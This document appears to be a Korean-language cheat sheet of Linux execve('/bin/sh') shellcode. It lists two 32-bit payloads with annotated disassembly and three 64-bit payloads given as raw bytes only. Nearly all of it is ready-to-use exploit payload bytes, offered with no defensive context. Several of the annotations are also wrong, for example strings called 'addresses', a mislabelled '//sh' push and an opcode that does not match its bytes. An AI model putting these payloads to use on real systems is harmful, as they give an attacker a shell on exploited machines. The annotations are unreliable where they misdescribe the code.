32bit

(1) 25byte

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

\x31\xc0 xor eax,eax eax 레지스터를 0으로 초기화
\x50 push eax 스택에 0을 푸시
\x68\x2f\x2f\x73\x68 push 0x68732f2f 스택에 "//sh" 문자열의 주소를 푸시
\x68\x2f\x62\x69\x6e push 0x6e69622f 스택에 "/bin" 문자열의 주소를 푸시
\x89\xe3 mov ebx,esp ebx 레지스터에 스택의 주소를 저장
\x50 push eax  스택에 0을 푸시
\x53 push ebx 스택에 "/bin/sh" 문자열의 주소를 푸시
\x89\xe1  mov ecx,esp ecx 레지스터에 스택의 주소를 저장
\x89\xc2 mov edx,eax edx 레지스터에 0을 저장
\xb0\x0b mov al,0xb 시스템 콜 번호 11 (execve)을 al 레지스터에 저장
\xcd\x80 int 0x80 시스템 콜 실행

 

(2) 26byte

\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

\x31\xc0 xor eax,eax eax 레지스터를 0으로 초기화
\x50 push eax 스택에 0을 푸시
\x68\x6e\x2f\x73\x68 push 0x68732f6e 스택에 "//sh" 문자열의 주소를 푸시
\x68\x2f\x2f\x62\x69 push 0x69622f2f 스택에 "/bin" 문자열의 주소를 푸시
\x89\xe3 mov ebx,esp ebx 레지스터에 스택의 주소를 저장
\x31\xc9 xor ecx,ecx ecx 레지스터를 0으로 초기화
\x89\xc2 xor edx,edx edx 레지스터를 0으로 초기화
\xb0\x08 mov al,0x8 시스템 콜 번호 8 (execve)을 al 레지스터에 저장
 \x40\x40\x40 inc eax 인자로 전달되는 문자열 포인터 배열의 길이를 3으로 설정
\xcd\x80 int 0x80 시스템 콜 실행

 

64bit

(1) 27byte

\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05

 

(2) 25byte

\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05

 

(3) 24byte

\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05